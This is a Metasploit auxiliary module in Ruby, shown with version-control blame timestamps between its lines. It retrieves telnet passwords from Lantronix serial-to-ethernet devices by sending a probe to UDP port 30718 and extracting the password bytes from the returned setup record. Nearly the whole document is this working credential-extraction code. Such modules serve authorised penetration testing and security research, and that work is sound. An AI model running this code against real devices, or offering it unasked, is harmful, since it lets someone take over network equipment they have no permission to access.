2012-10-14 17:46:52 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-14 17:46:52 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Lantronix Telnet Password Recovery',
|
|
|
|
'Description' => %q{
|
|
|
|
This module retrieves the setup record from Lantronix serial-to-ethernet
|
|
|
|
devices via the config port (30718/udp, enabled by default) and extracts the
|
|
|
|
telnet password. It has been tested successfully on a Lantronix Device Server
|
|
|
|
with software version V5.8.0.1.
|
|
|
|
},
|
|
|
|
'Author' => 'jgor',
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::CHOST,
|
|
|
|
Opt::RPORT(30718)
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
setup_probe = "\x00\x00\x00\xF8"
|
|
|
|
password = nil
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
|
|
|
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
|
|
|
udp_sock = Rex::Socket::Udp.create( {
|
|
|
|
'LocalHost' => datastore['CHOST'] || nil,
|
|
|
|
'PeerHost' => ip,
|
|
|
|
'PeerPort' => datastore['RPORT'],
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self
|
|
|
|
}
|
|
|
|
})
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
udp_sock.put(setup_probe)
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = udp_sock.recvfrom(65535, 0.5) and res[1]
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res
|
|
|
|
password = parse_reply(res)
|
|
|
|
end
|
|
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
|
|
|
print_error("Connection error")
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Unknown error: #{e.class} #{e}")
|
|
|
|
ensure
|
|
|
|
udp_sock.close if udp_sock
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if password
|
|
|
|
if password == "\x00\x00\x00\x00"
|
|
|
|
print_status("#{rhost} - Password isn't used, or secure")
|
|
|
|
else
|
|
|
|
print_good("#{rhost} - Telnet password found: #{password.to_s}")
|
2012-11-14 05:49:45 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
report_auth_info({
|
|
|
|
:host => rhost,
|
|
|
|
:port => 9999,
|
|
|
|
:sname => 'telnet',
|
|
|
|
:duplicate_ok => false,
|
|
|
|
:pass => password.to_s
|
|
|
|
})
|
|
|
|
end
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def parse_reply(pkt)
|
|
|
|
setup_record = pkt[0]
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# If response is a setup record, extract password bytes 13-16
|
|
|
|
if setup_record[3] and setup_record[3].ord == 0xF9
|
|
|
|
return setup_record[12,4]
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
|
|
|
end
|